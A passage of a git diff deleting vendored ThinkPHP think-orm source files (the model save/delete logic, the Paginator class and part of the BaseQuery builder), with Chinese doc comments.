(!isset(static::$initialized[static::class])) { - static::$initialized[static::class] = true; - static::init(); - } - } - - /** - * 初始化处理 - * @access protected - * @return void - */ - protected static function init() - { - } - - protected function checkData(): void - { - } - - protected function checkResult($result): void - { - } - - /** - * 更新是否强制写入数据 而不做比较(亦可用于软删除的强制删除) - * @access public - * @param bool $force - * @return $this - */ - public function force(bool $force = true) - { - $this->force = $force; - return $this; - } - - /** - * 判断force - * @access public - * @return bool - */ - public function isForce(): bool - { - return $this->force; - } - - /** - * 新增数据是否使用Replace - * @access public - * @param bool $replace - * @return $this - */ - public function replace(bool $replace = true) - { - $this->replace = $replace; - return $this; - } - - /** - * 刷新模型数据 - * @access public - * @param bool $relation 是否刷新关联数据 - * @return $this - */ - public function refresh(bool $relation = false) - { - if ($this->exists) { - $this->data = $this->db()->find($this->getKey())->getData(); - $this->origin = $this->data; - - if ($relation) { - $this->relation = []; - } - } - - return $this; - } - - /** - * 设置数据是否存在 - * @access public - * @param bool $exists - * @return $this - */ - public function exists(bool $exists = true) - { - $this->exists = $exists; - return $this; - } - - /** - * 判断数据是否存在数据库 - * @access public - * @return bool - */ - public function isExists(): bool - { - return $this->exists; - } - - /** - * 判断模型是否为空 - * @access public - * @return bool - */ - public function isEmpty(): bool - { - return empty($this->data); - } - - /** - * 延迟保存当前数据对象 - * @access public - * @param array|bool $data 数据 - * @return void - */ - public function lazySave($data = []): void - { - if (false === $data) { - $this->lazySave = false; - } else { - if (is_array($data)) { - $this->setAttrs($data); - } - - $this->lazySave = true; - } - } - - /** - * 保存当前数据对象 - * @access public - * @param array $data 数据 - * @param string $sequence 自增序列名 - * @return bool - */ - public function save(array $data = [], string $sequence = null): bool - { - // 数据对象赋值 - $this->setAttrs($data); - - if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { - return false; - } - - $result = $this->exists ? $this->updateData() : $this->insertData($sequence); - - if (false === $result) { - return false; - } - - // 写入回调 - $this->trigger('AfterWrite'); - - // 重新记录原始数据 - $this->origin = $this->data; - $this->set = []; - $this->lazySave = false; - - return true; - } - - /** - * 检查数据是否允许写入 - * @access protected - * @return array - */ - protected function checkAllowFields(): array - { - // 检测字段 - if (empty($this->field)) { - if (!empty($this->schema)) { - $this->field = array_keys(array_merge($this->schema, $this->jsonType)); - } else { - $query = $this->db(); - $table = $this->table ? $this->table . $this->suffix : $query->getTable(); - - $this->field = $query->getConnection()->getTableFields($table); - } - - return $this->field; - } - - $field = $this->field; - - if ($this->autoWriteTimestamp) { - array_push($field, $this->createTime, $this->updateTime); - } - - if (!empty($this->disuse)) { - // 废弃字段 - $field = array_diff($field, $this->disuse); - } - - return $field; - } - - /** - * 保存写入数据 - * @access protected - * @return bool - */ - protected function updateData(): bool - { - // 事件回调 - if (false === $this->trigger('BeforeUpdate')) { - return false; - } - - $this->checkData(); - - // 获取有更新的数据 - $data = $this->getChangedData(); - - if (empty($data)) { - // 关联更新 - if (!empty($this->relationWrite)) { - $this->autoRelationUpdate(); - } - - return true; - } - - if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { - // 自动写入更新时间 - $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); - $this->data[$this->updateTime] = $data[$this->updateTime]; - } - - // 检查允许字段 - $allowFields = $this->checkAllowFields(); - - foreach ($this->relationWrite as $name => $val) { - if (!is_array($val)) { - continue; - } - - foreach ($val as $key) { - if (isset($data[$key])) { - unset($data[$key]); - } - } - } - - // 模型更新 - $db = $this->db(); - - $db->transaction(function () use ($data, $allowFields, $db) { - $this->key = null; - $where = $this->getWhere(); - - $result = $db->where($where) - ->strict(false) - ->cache(true) - ->setOption('key', $this->key) - ->field($allowFields) - ->update($data); - - $this->checkResult($result); - - // 关联更新 - if (!empty($this->relationWrite)) { - $this->autoRelationUpdate(); - } - }); - - // 更新回调 - $this->trigger('AfterUpdate'); - - return true; - } - - /** - * 新增写入数据 - * @access protected - * @param string $sequence 自增名 - * @return bool - */ - protected function insertData(string $sequence = null): bool - { - // 时间戳自动写入 - if ($this->autoWriteTimestamp) { - if ($this->createTime && !isset($this->data[$this->createTime])) { - $this->data[$this->createTime] = $this->autoWriteTimestamp($this->createTime); - } - - if ($this->updateTime && !isset($this->data[$this->updateTime])) { - $this->data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); - } - } - - if (false === $this->trigger('BeforeInsert')) { - return false; - } - - $this->checkData(); - - // 检查允许字段 - $allowFields = $this->checkAllowFields(); - - $db = $this->db(); - - $db->transaction(function () use ($sequence, $allowFields, $db) { - $result = $db->strict(false) - ->field($allowFields) - ->replace($this->replace) - ->sequence($sequence) - ->insert($this->data, true); - - // 获取自动增长主键 - if ($result) { - $pk = $this->getPk(); - - if (is_string($pk) && (!isset($this->data[$pk]) || '' == $this->data[$pk])) { - $this->data[$pk] = $result; - } - } - - // 关联写入 - if (!empty($this->relationWrite)) { - $this->autoRelationInsert(); - } - }); - - // 标记数据已经存在 - $this->exists = true; - - // 新增回调 - $this->trigger('AfterInsert'); - - return true; - } - - /** - * 获取当前的更新条件 - * @access public - * @return mixed - */ - public function getWhere() - { - $pk = $this->getPk(); - - if (is_string($pk) && isset($this->origin[$pk])) { - $where = [[$pk, '=', $this->origin[$pk]]]; - $this->key = $this->origin[$pk]; - } elseif (is_array($pk)) { - foreach ($pk as $field) { - if (isset($this->origin[$field])) { - $where[] = [$field, '=', $this->origin[$field]]; - } - } - } - - if (empty($where)) { - $where = empty($this->updateWhere) ? null : $this->updateWhere; - } - - return $where; - } - - /** - * 保存多个数据到当前数据对象 - * @access public - * @param iterable $dataSet 数据 - * @param boolean $replace 是否自动识别更新和写入 - * @return Collection - * @throws \Exception - */ - public function saveAll(iterable $dataSet, bool $replace = true): Collection - { - $db = $this->db(); - - $result = $db->transaction(function () use ($replace, $dataSet) { - - $pk = $this->getPk(); - - if (is_string($pk) && $replace) { - $auto = true; - } - - $result = []; - - $suffix = $this->getSuffix(); - - foreach ($dataSet as $key => $data) { - if ($this->exists || (!empty($auto) && isset($data[$pk]))) { - $result[$key] = static::update($data, [], [], $suffix); - } else { - $result[$key] = static::create($data, $this->field, $this->replace, $suffix); - } - } - - return $result; - }); - - return $this->toCollection($result); - } - - /** - * 删除当前的记录 - * @access public - * @return bool - */ - public function delete(): bool - { - if (!$this->exists || $this->isEmpty() || false === $this->trigger('BeforeDelete')) { - return false; - } - - // 读取更新条件 - $where = $this->getWhere(); - - $db = $this->db(); - - $db->transaction(function () use ($where, $db) { - // 删除当前模型数据 - $db->where($where)->delete(); - - // 关联删除 - if (!empty($this->relationWrite)) { - $this->autoRelationDelete(); - } - }); - - $this->trigger('AfterDelete'); - - $this->exists = false; - $this->lazySave = false; - - return true; - } - - /** - * 写入数据 - * @access public - * @param array $data 数据数组 - * @param array $allowField 允许字段 - * @param bool $replace 使用Replace - * @param string $suffix 数据表后缀 - * @return static - */ - public static function create(array $data, array $allowField = [], bool $replace = false, string $suffix = ''): Model - { - $model = new static(); - - if (!empty($allowField)) { - $model->allowField($allowField); - } - - if (!empty($suffix)) { - $model->setSuffix($suffix); - } - - $model->replace($replace)->save($data); - - return $model; - } - - /** - * 更新数据 - * @access public - * @param array $data 数据数组 - * @param mixed $where 更新条件 - * @param array $allowField 允许字段 - * @param string $suffix 数据表后缀 - * @return static - */ - public static function update(array $data, $where = [], array $allowField = [], string $suffix = '') - { - $model = new static(); - - if (!empty($allowField)) { - $model->allowField($allowField); - } - - if (!empty($where)) { - $model->setUpdateWhere($where); - } - - if (!empty($suffix)) { - $model->setSuffix($suffix); - } - - $model->exists(true)->save($data); - - return $model; - } - - /** - * 删除记录 - * @access public - * @param mixed $data 主键列表 支持闭包查询条件 - * @param bool $force 是否强制删除 - * @return bool - */ - public static function destroy($data, bool $force = false): bool - { - if (empty($data) && 0 !== $data) { - return false; - } - - $model = new static(); - - $query = $model->db(); - - if (is_array($data) && key($data) !== 0) { - $query->where($data); - $data = null; - } elseif ($data instanceof \Closure) { - $data($query); - $data = null; - } - - $resultSet = $query->select($data); - - foreach ($resultSet as $result) { - $result->force($force)->delete(); - } - - return true; - } - - /** - * 解序列化后处理 - */ - public function __wakeup() - { - $this->initialize(); - } - - /** - * 修改器 设置数据对象的值 - * @access public - * @param string $name 名称 - * @param mixed $value 值 - * @return void - */ - public function __set(string $name, $value): void - { - $this->setAttr($name, $value); - } - - /** - * 获取器 获取数据对象的值 - * @access public - * @param string $name 名称 - * @return mixed - */ - public function __get(string $name) - { - return $this->getAttr($name); - } - - /** - * 检测数据对象的值 - * @access public - * @param string $name 名称 - * @return bool - */ - public function __isset(string $name): bool - { - return !is_null($this->getAttr($name)); - } - - /** - * 销毁数据对象的值 - * @access public - * @param string $name 名称 - * @return void - */ - public function __unset(string $name): void - { - unset($this->data[$name], $this->relation[$name]); - } - - // ArrayAccess - public function offsetSet($name, $value) - { - $this->setAttr($name, $value); - } - - public function offsetExists($name): bool - { - return $this->__isset($name); - } - - public function offsetUnset($name) - { - $this->__unset($name); - } - - public function offsetGet($name) - { - return $this->getAttr($name); - } - - /** - * 设置不使用的全局查询范围 - * @access public - * @param array $scope 不启用的全局查询范围 - * @return Query - */ - public static function withoutGlobalScope(array $scope = null) - { - $model = new static(); - - return $model->db($scope); - } - - /** - * 切换后缀进行查询 - * @access public - * @param string $suffix 切换的表后缀 - * @return Model - */ - public static function suffix(string $suffix) - { - $model = new static(); - $model->setSuffix($suffix); - - return $model; - } - - /** - * 切换数据库连接进行查询 - * @access public - * @param string $connection 数据库连接标识 - * @return Model - */ - public static function connect(string $connection) - { - $model = new static(); - $model->setConnection($connection); - - return $model; - } - - public function __call($method, $args) - { - if (isset(static::$macro[static::class][$method])) { - return call_user_func_array(static::$macro[static::class][$method]->bindTo($this, static::class), $args); - } - - if ('withattr' == strtolower($method)) { - return call_user_func_array([$this, 'withAttribute'], $args); - } - - return call_user_func_array([$this->db(), $method], $args); - } - - public static function __callStatic($method, $args) - { - if (isset(static::$macro[static::class][$method])) { - return call_user_func_array(static::$macro[static::class][$method]->bindTo(null, static::class), $args); - } - - $model = new static(); - - return call_user_func_array([$model->db(), $method], $args); - } - - /** - * 析构方法 - * @access public - */ - public function __destruct() - { - if ($this->lazySave) { - $this->save(); - } - } -} diff --git a/vendor/topthink/think-orm/src/Paginator.php b/vendor/topthink/think-orm/src/Paginator.php deleted file mode 100644 index f5d8006..0000000 --- a/vendor/topthink/think-orm/src/Paginator.php +++ /dev/null @@ -1,518 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use ArrayAccess; -use ArrayIterator; -use Closure; -use Countable; -use DomainException; -use IteratorAggregate; -use JsonSerializable; -use think\paginator\driver\Bootstrap; -use Traversable; - -/** - * 分页基础类 - * @mixin Collection - */ -abstract class Paginator implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable -{ - /** - * 是否简洁模式 - * @var bool - */ - protected $simple = false; - - /** - * 数据集 - * @var Collection - */ - protected $items; - - /** - * 当前页 - * @var int - */ - protected $currentPage; - - /** - * 最后一页 - * @var int - */ - protected $lastPage; - - /** - * 数据总数 - * @var integer|null - */ - protected $total; - - /** - * 每页数量 - * @var int - */ - protected $listRows; - - /** - * 是否有下一页 - * @var bool - */ - protected $hasMore; - - /** - * 分页配置 - * @var array - */ - protected $options = [ - 'var_page' => 'page', - 'path' => '/', - 'query' => [], - 'fragment' => '', - ]; - - /** - * 获取当前页码 - * @var Closure - */ - protected static $currentPageResolver; - - /** - * 获取当前路径 - * @var Closure - */ - protected static $currentPathResolver; - - /** - * @var Closure - */ - protected static $maker; - - public function __construct($items, int $listRows, int $currentPage = 1, int $total = null, bool $simple = false, array $options = []) - { - $this->options = array_merge($this->options, $options); - - $this->options['path'] = '/' != $this->options['path'] ? rtrim($this->options['path'], '/') : $this->options['path']; - - $this->simple = $simple; - $this->listRows = $listRows; - - if (!$items instanceof Collection) { - $items = Collection::make($items); - } - - if ($simple) { - $this->currentPage = $this->setCurrentPage($currentPage); - $this->hasMore = count($items) > ($this->listRows); - $items = $items->slice(0, $this->listRows); - } else { - $this->total = $total; - $this->lastPage = (int) ceil($total / $listRows); - $this->currentPage = $this->setCurrentPage($currentPage); - $this->hasMore = $this->currentPage < $this->lastPage; - } - $this->items = $items; - } - - /** - * @access public - * @param mixed $items - * @param int $listRows - * @param int $currentPage - * @param int $total - * @param bool $simple - * @param array $options - * @return Paginator - */ - public static function make($items, int $listRows, int $currentPage = 1, int $total = null, bool $simple = false, array $options = []) - { - if (isset(static::$maker)) { - return call_user_func(static::$maker, $items, $listRows, $currentPage, $total, $simple, $options); - } - - return new Bootstrap($items, $listRows, $currentPage, $total, $simple, $options); - } - - public static function maker(Closure $resolver) - { - static::$maker = $resolver; - } - - protected function setCurrentPage(int $currentPage): int - { - if (!$this->simple && $currentPage > $this->lastPage) { - return $this->lastPage > 0 ? $this->lastPage : 1; - } - - return $currentPage; - } - - /** - * 获取页码对应的链接 - * - * @access protected - * @param int $page - * @return string - */ - protected function url(int $page): string - { - if ($page <= 0) { - $page = 1; - } - - if (strpos($this->options['path'], '[PAGE]') === false) { - $parameters = [$this->options['var_page'] => $page]; - $path = $this->options['path']; - } else { - $parameters = []; - $path = str_replace('[PAGE]', $page, $this->options['path']); - } - - if (count($this->options['query']) > 0) { - $parameters = array_merge($this->options['query'], $parameters); - } - - $url = $path; - if (!empty($parameters)) { - $url .= '?' . http_build_query($parameters, '', '&'); - } - - return $url . $this->buildFragment(); - } - - /** - * 自动获取当前页码 - * @access public - * @param string $varPage - * @param int $default - * @return int - */ - public static function getCurrentPage(string $varPage = 'page', int $default = 1): int - { - if (isset(static::$currentPageResolver)) { - return call_user_func(static::$currentPageResolver, $varPage); - } - - return $default; - } - - /** - * 设置获取当前页码闭包 - * @param Closure $resolver - */ - public static function currentPageResolver(Closure $resolver) - { - static::$currentPageResolver = $resolver; - } - - /** - * 自动获取当前的path - * @access public - * @param string $default - * @return string - */ - public static function getCurrentPath($default = '/'): string - { - if (isset(static::$currentPathResolver)) { - return call_user_func(static::$currentPathResolver); - } - - return $default; - } - - /** - * 设置获取当前路径闭包 - * @param Closure $resolver - */ - public static function currentPathResolver(Closure $resolver) - { - static::$currentPathResolver = $resolver; - } - - /** - * 获取数据总条数 - * @return int - */ - public function total(): int - { - if ($this->simple) { - throw new DomainException('not support total'); - } - - return $this->total; - } - - /** - * 获取每页数量 - * @return int - */ - public function listRows(): int - { - return $this->listRows; - } - - /** - * 获取当前页页码 - * @return int - */ - public function currentPage(): int - { - return $this->currentPage; - } - - /** - * 获取最后一页页码 - * @return int - */ - public function lastPage(): int - { - if ($this->simple) { - throw new DomainException('not support last'); - } - - return $this->lastPage; - } - - /** - * 数据是否足够分页 - * @access public - * @return bool - */ - public function hasPages(): bool - { - return !(1 == $this->currentPage && !$this->hasMore); - } - - /** - * 创建一组分页链接 - * - * @access public - * @param int $start - * @param int $end - * @return array - */ - public function getUrlRange(int $start, int $end): array - { - $urls = []; - - for ($page = $start; $page <= $end; $page++) { - $urls[$page] = $this->url($page); - } - - return $urls; - } - - /** - * 设置URL锚点 - * - * @access public - * @param string|null $fragment - * @return $this - */ - public function fragment(string $fragment = null) - { - $this->options['fragment'] = $fragment; - - return $this; - } - - /** - * 添加URL参数 - * - * @access public - * @param array $append - * @return $this - */ - public function appends(array $append) - { - foreach ($append as $k => $v) { - if ($k !== $this->options['var_page']) { - $this->options['query'][$k] = $v; - } - } - - return $this; - } - - /** - * 构造锚点字符串 - * - * @access public - * @return string - */ - protected function buildFragment(): string - { - return $this->options['fragment'] ? '#' . $this->options['fragment'] : ''; - } - - /** - * 渲染分页html - * @access public - * @return mixed - */ - abstract public function render(); - - public function items() - { - return $this->items->all(); - } - - /** - * 获取数据集 - * - * @return Collection|\think\model\Collection - */ - public function getCollection() - { - return $this->items; - } - - public function isEmpty(): bool - { - return $this->items->isEmpty(); - } - - /** - * 给每个元素执行个回调 - * - * @access public - * @param callable $callback - * @return $this - */ - public function each(callable $callback) - { - foreach ($this->items as $key => $item) { - $result = $callback($item, $key); - - if (false === $result) { - break; - } elseif (!is_object($item)) { - $this->items[$key] = $result; - } - } - - return $this; - } - - /** - * Retrieve an external iterator - * @access public - * @return Traversable An instance of an object implementing Iterator or - * Traversable - */ - public function getIterator() - { - return new ArrayIterator($this->items->all()); - } - - /** - * Whether a offset exists - * @access public - * @param mixed $offset - * @return bool - */ - public function offsetExists($offset) - { - return $this->items->offsetExists($offset); - } - - /** - * Offset to retrieve - * @access public - * @param mixed $offset - * @return mixed - */ - public function offsetGet($offset) - { - return $this->items->offsetGet($offset); - } - - /** - * Offset to set - * @access public - * @param mixed $offset - * @param mixed $value - */ - public function offsetSet($offset, $value) - { - $this->items->offsetSet($offset, $value); - } - - /** - * Offset to unset - * @access public - * @param mixed $offset - * @return void - * @since 5.0.0 - */ - public function offsetUnset($offset) - { - $this->items->offsetUnset($offset); - } - - /** - * 统计数据集条数 - * @return int - */ - public function count(): int - { - return $this->items->count(); - } - - public function __toString() - { - return (string) $this->render(); - } - - /** - * 转换为数组 - * @return array - */ - public function toArray(): array - { - try { - $total = $this->total(); - } catch (DomainException $e) { - $total = null; - } - - return [ - 'total' => $total, - 'per_page' => $this->listRows(), - 'current_page' => $this->currentPage(), - 'last_page' => $this->lastPage, - 'data' => $this->items->toArray(), - ]; - } - - /** - * Specify data which should be serialized to JSON - */ - public function jsonSerialize() - { - return $this->toArray(); - } - - public function __call($name, $arguments) - { - $result = call_user_func_array([$this->items, $name], $arguments); - - if ($result instanceof Collection) { - $this->items = $result; - return $this; - } - - return $result; - } - -} diff --git a/vendor/topthink/think-orm/src/db/BaseQuery.php b/vendor/topthink/think-orm/src/db/BaseQuery.php deleted file mode 100644 index 447b749..0000000 --- a/vendor/topthink/think-orm/src/db/BaseQuery.php +++ /dev/null @@ -1,1282 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use think\Collection; -use think\db\exception\DataNotFoundException; -use think\db\exception\DbException as Exception; -use think\db\exception\ModelNotFoundException; -use think\helper\Str; -use think\Model; -use think\Paginator; - -/** - * 数据查询基础类 - */ -abstract class BaseQuery -{ - use concern\TimeFieldQuery; - use concern\AggregateQuery; - use concern\ModelRelationQuery; - use concern\ResultOperation; - use concern\Transaction; - use concern\WhereQuery; - - /** - * 当前数据库连接对象 - * @var Connection - */ - protected $connection; - - /** - * 当前数据表名称(不含前缀) - * @var string - */ - protected $name = ''; - - /** - * 当前数据表主键 - * @var string|array - */ - protected $pk; - - /** - * 当前数据表自增主键 - * @var string - */ - protected $autoinc; - - /** - * 当前数据表前缀 - * @var string - */ - protected $prefix = ''; - - /** - * 当前查询参数 - * @var array - */ - protected $options = []; - - /** - * 架构函数 - * @access public - * @param ConnectionInterface $connection 数据库连接对象 - */ - public function __construct(ConnectionInterface $connection) - { - $this->connection = $connection; - - $this->prefix = $this->connection->getConfig('prefix'); - } - - /** - * 利用__call方法实现一些特殊的Model方法 - * @access public - * @param string $method 方法名称 - * @param array $args 调用参数 - * @return mixed - * @throws Exception - */ - public function __call(string $method, array $args) - { - if (strtolower(substr($method, 0, 5)) == 'getby') { - // 根据某个字段获取记录 - $field = Str::snake(substr($method, 5)); - return $this->where($field, '=', $args[0])->find(); - } elseif (strtolower(substr($method, 0, 10)) == 'getfieldby') { - // 根据某个字段获取记录的某个值 - $name = Str::snake(substr($method, 10)); - return $this->where($name, '=', $args[0])->value($args[1]); - } elseif (strtolower(substr($method, 0, 7)) == 'whereor') { - $name = Str::snake(substr($method, 7)); - array_unshift($args, $name); - return call_user_func_array([$this, 'whereOr'], $args); - } elseif (strtolower(substr($method, 0, 5)) == 'where') { - $name = Str::snake(substr($method, 5)); - array_unshift($args, $name); - return call_user_func_array([$this, 'where'], $args); - } elseif ($this->model && method_exists($this->model, 'scope' . $method)) { - // 动态调用命名范围 - $method = 'scope' . $method; - array_unshift($args, $this); - - call_user_func_array([$this->model, $method], $args); - return $this; - } else { - throw new Exception('method not exist:' . static::class . '->' . $method); - } - } - - /** - * 创建一个新的查询对象 - * @access public - * @return BaseQuery - */ - public function newQuery(): BaseQuery - { - $query = new static($this->connection); - - if ($this->model) { - $query->model($this->model); - } - - if (isset($this->options['table'])) { - $query->table($this->options['table']); - } else { - $query->name($this->name); - } - - if (isset($this->options['json'])) { - $query->json($this->options['json'], $this->options['json_assoc']); - } - - if (isset($this->options['field_type'])) { - $query->setFieldType($this->options['field_type']); - } - - return $query; - } - - /** - * 获取当前的数据库Connection对象 - * @access public - * @return ConnectionInterface - */ - public function getConnection() - { - return $this->connection; - } - - /** - * 指定当前数据表名(不含前缀) - * @access public - * @param string $name 不含前缀的数据表名字 - * @return $this - */ - public function name(string $name) - { - $this->name = $name; - return $this; - } - - /** - * 获取当前的数据表名称 - * @access public - * @return string - */ - public function getName(): string - { - return $this->name ?: $this->model->getName(); - } - - /** - * 获取数据库的配置参数 - * @access public - * @param string $name 参数名称 - * @return mixed - */ - public function getConfig(string $name = '') - { - return $this->connection->getConfig($name); - } - - /** - * 得到当前或者指定名称的数据表 - * @access public - * @param string $name 不含前缀的数据表名字 - * @return mixed - */ - public function getTable(string $name = '') - { - if (empty($name) && isset($this->options['table'])) { - return $this->options['table']; - } - - $name = $name ?: $this->name; - - return $this->prefix . Str::snake($name); - } - - /** - * 设置字段类型信息 - * @access public - * @param array $type 字段类型信息 - * @return $this - */ - public function setFieldType(array $type) - { - $this->options['field_type'] = $type; - return $this; - } - - /** - * 获取最近一次查询的sql语句 - * @access public - * @return string - */ - public function getLastSql(): string - { - return $this->connection->getLastSql(); - } - - /** - * 获取返回或者影响的记录数 - * @access public - * @return integer - */ - public function getNumRows(): int - { - return $this->connection->getNumRows(); - } - - /** - * 获取最近插入的ID - * @access public - * @param string $sequence 自增序列名 - * @return mixed - */ - public function getLastInsID(string $sequence = null) - { - return $this->connection->getLastInsID($this, $sequence); - } - - /** - * 得到某个字段的值 - * @access public - * @param string $field 字段名 - * @param mixed $default 默认值 - * @return mixed - */ - public function value(string $field, $default = null) - { - return $this->connection->value($this, $field, $default); - } - - /** - * 得到某个列的数组 - * @access public - * @param string $field 字段名 多个字段用逗号分隔 - * @param string $key 索引 - * @return array - */ - public function column(string $field, string $key = ''): array - { - return $this->connection->column($this, $field, $key); - } - - /** - * 查询SQL组装 union - * @access public - * @param mixed $union UNION - * @param boolean $all 是否适用UNION ALL - * @return $this - */ - public function union($union, bool $all = false) - { - $this->options['union']['type'] = $all ? 'UNION ALL' : 'UNION'; - - if (is_array($union)) { - $this->options['union'] = array_merge($this->options['union'], $union); - } else { - $this->options['union'][] = $union; - } - - return $this; - } - - /** - * 查询SQL组装 union all - * @access public - * @param mixed $union UNION数据 - * @return $this - */ - public function unionAll($union) - { - return $this->union($union, true); - } - - /** - * 指定查询字段 - * @access public - * @param mixed $field 字段信息 - * @return $this - */ - public function field($field) - { - if (empty($field)) { - return $this; - } elseif ($field instanceof Raw) { - $this->options['field'][] = $field; - return $this; - } - - if (is_string($field)) { - if (preg_match('/[\<\'\"\(]/', $field)) { - return $this->fieldRaw($field); - } - - $field = array_map('trim', explode(',', $field)); - } - - if (true === $field) { - // 获取全部字段 - $fields = $this->getTableFields(); - $field = $fields ?: ['*']; - } - - if (isset($this->options['field'])) { - $field = array_merge((array) $this->options['field'], $field); - } - - $this->options['field'] = array_unique($field); - - return $this; - } - - /** - * 指定要排除的查询字段 - * @access public - * @param array|string $field 要排除的字段 - * @return $this - */ - public function withoutField($field) - { - if (empty($field)) { - return $this; - } - - if (is_string($field)) { - $field = array_map('trim', explode(',', $field)); - } - - // 字段排除 - $fields = $this->getTableFields(); - $field = $fields ? array_diff($fields, $field) : $field; - - if (isset($this->options['field'])) { - $field = array_merge((array) $this->options['field'], $field); - } - - $this->options['field'] = array_unique($field); - - return $this; - } - - /** - * 指定其它数据表的查询字段 - * @access public - * @param mixed $field 字段信息 - * @param string $tableName 数据表名 - * @param string $prefix 字段前缀 - * @param string $alias 别名前缀 - * @return $this - */ - public function tableField($field, string $tableName, string $prefix = '', string $alias = '') - { - if (empty($field)) { - return $this; - } - - if (is_string($field)) { - $field = array_map('trim', explode(',', $field)); - } - - if (true === $field) { - // 获取全部字段 - $fields = $this->getTableFields($tableName); - $field = $fields ?: ['*']; - } - - // 添加统一的前缀 - $prefix = $prefix ?: $tableName; - foreach ($field as $key => &$val) { - if (is_numeric($key) && $alias) { - $field[$prefix . '.' . $val] = $alias . $val; - unset($field[$key]); - } elseif (is_numeric($key)) { - $val = $prefix . '.' . $val; - } - } - - if (isset($this->options['field'])) { - $field = array_merge((array) $this->options['field'], $field); - } - - $this->options['field'] = array_unique($field); - - return $this; - } - - /** - * 设置数据 - * @access public - * @param array $data 数据 - * @return $this - */ - public function data(array $data) - { - $this->options['data'] = $data; - - return $this; - } - - /** - * 去除查询参数 - * @access public - * @param string $option 参数名 留空去除所有参数 - * @return $this - */ - public function removeOption(string $option = '') - { - if ('' === $option) { - $this->options = []; - $this->bind = []; - } elseif (isset($this->options[$option])) { - unset($this->options[$option]); - } - - return $this; - } - - /** - * 指定查询数量 - * @access public - * @param int $offset 起始位置 - * @param int $length 查询数量 - * @return $this - */ - public function limit(int $offset, int $length = null) - { - $this->options['limit'] = $offset . ($length ? ',' . $length : ''); - - return $this; - } - - /** - * 指定分页 - * @access public - * @param int $page 页数 - * @param int $listRows 每页数量 - * @return $this - */ - public function page(int $page, int $listRows = null) - { - $this->options['page'] = [$page, $listRows]; - - return $this; - } - - /** - * 指定当前操作的数据表 - * @access public - * @param mixed $table 表名 - * @return $this - */ - public function table($table) - { - if (is_string($table)) { - if (strpos($table, ')')) { - // 子查询 - } elseif (false === strpos($table, ',')) { - if (strpos($table, ' ')) { - [$item, $alias] = explode(' ', $table); - $table = []; - $this->alias([$item => $alias]); - $table[$item] = $alias; - } - } else { - $tables = explode(',', $table); - $table = []; - - foreach ($tables as $item) { - $item = trim($item); - if (strpos($item, ' ')) { - [$item, $alias] = explode(' ', $item); - $this->alias([$item => $alias]); - $table[$item] = $alias; - } else { - $table[] = $item; - } - } - } - } elseif (is_array($table)) { - $tables = $table; - $table = []; - - foreach ($tables as $key => $val) { - if (is_numeric($key)) { - $table[] = $val; - } else { - $this->alias([$key => $val]); - $table[$key] = $val; - } - } - } - - $this->options['table'] = $table; - - return $this; - } - - /** - * 指定排序 order('id','desc') 或者 order(['id'=>'desc','create_time'=>'desc']) - * @access public - * @param string|array|Raw $field 排序字段 - * @param string $order 排序 - * @return $this - */ - public function order($field, string $order = '') - { - if (empty($field)) { - return $this; - } elseif ($field instanceof Raw) { - $this->options['order'][] = $field; - return $this; - } - - if (is_string($field)) { - if (!empty($this->options['via'])) { - $field = $this->options['via'] . '.' . $field; - } - if (strpos($field, ',')) { - $field = array_map('trim', explode(',', $field)); - } else { - $field = empty($order) ? $field : [$field => $order]; - } - } elseif (!empty($this->options['via'])) { - foreach ($field as $key => $val) { - if (is_numeric($key)) { - $field[$key] = $this->options['via'] . '.' . $val; - } else { - $field[$this->options['via'] . '.' . $key] = $val; - unset($field[$key]); - } - } - } - - if (!isset($this->options['order'])) { - $this->options['order'] = []; - } - - if (is_array($field)) { - $this->options['order'] = array_merge($this->options['order'], $field); - } else { - $this->options['order'][] = $field; - } - - return $this; - } - - /** - * 分页查询 - * @access public - * @param int|array $listRows 每页数量 数组表示配置参数 - * @param int|bool $simple 是否简洁模式或者总记录数 - * @return Paginator - * @throws Exception - */ - public function paginate($listRows = null, $simple = false): Paginator - { - if (is_int($simple)) { - $total = $simple; - $simple = false; - } - - $defaultConfig = [ - 'query' => [], //url额外参数 - 'fragment' => '', //url锚点 - 'var_page' => 'page', //分页变量 - 'list_rows' => 15, //每页数量 - ]; - - if (is_array($listRows)) { - $config = array_merge($defaultConfig, $listRows); - $listRows = intval($config['list_rows']); - } else { - $config = $defaultConfig; - $listRows = intval($listRows ?: $config['list_rows']); - } - - $page = isset($config['page']) ? (int) $config['page'] : Paginator::getCurrentPage($config['var_page']); - - $page = $page < 1 ? 1 : $page; - - $config['path'] = $config['path'] ?? Paginator::getCurrentPath(); - - if (!isset($total) && !$simple) { - $options = $this->getOptions(); - - unset($this->options['order'], $this->options['limit'], $this->options['page'], $this->options['field']); - - $bind = $this->bind; - $total = $this->count(); - $results = $this->options($options)->bind($bind)->page($page, $listRows)->select(); - } elseif ($simple) { - $results = $this->limit(($page - 1) * $listRows, $listRows + 1)->select(); - $total = null; - } else { - $results = $this->page($page, $listRows)->select(); - } - - $this->removeOption('limit'); - $this->removeOption('page'); - - return Paginator::make($results, $listRows, $page, $total, $simple, $config); - } - - /** - * 根据数字类型字段进行分页查询(大数据) - * @access public - * @param int|array $listRows 每页数量或者分页配置 - * @param string $key 分页索引键 - * @param string $sort 索引键排序 asc|desc - * @return Paginator - * @throws Exception - */ - public function paginateX($listRows = null, string $key = null, string $sort = null): Paginator - { - $defaultConfig = [ - 'query' => [], //url额外参数 - 'fragment' => '', //url锚点 - 'var_page' => 'page', //分页变量 - 'list_rows' => 15, //每页数量 - ]; - - $config = is_array($listRows) ? array_merge($defaultConfig, $listRows) : $defaultConfig; - $listRows = is_int($listRows) ? $listRows : (int) $config['list_rows']; - $page = isset($config['page']) ? (int) $config['page'] : Paginator::getCurrentPage($config['var_page']); - $page = $page < 1 ? 1 : $page; - - $config['path'] = $config['path'] ?? Paginator::getCurrentPath(); - - $key = $key ?: $this->getPk(); - $options = $this->getOptions(); - - if (is_null($sort)) { - $order = $options['order'] ?? ''; - if (!empty($order)) { - $sort = $order[$key] ?? 'desc'; - } else { - $this->order($key, 'desc'); - $sort = 'desc'; - } - } else { - $this->order($key, $sort); - } - - 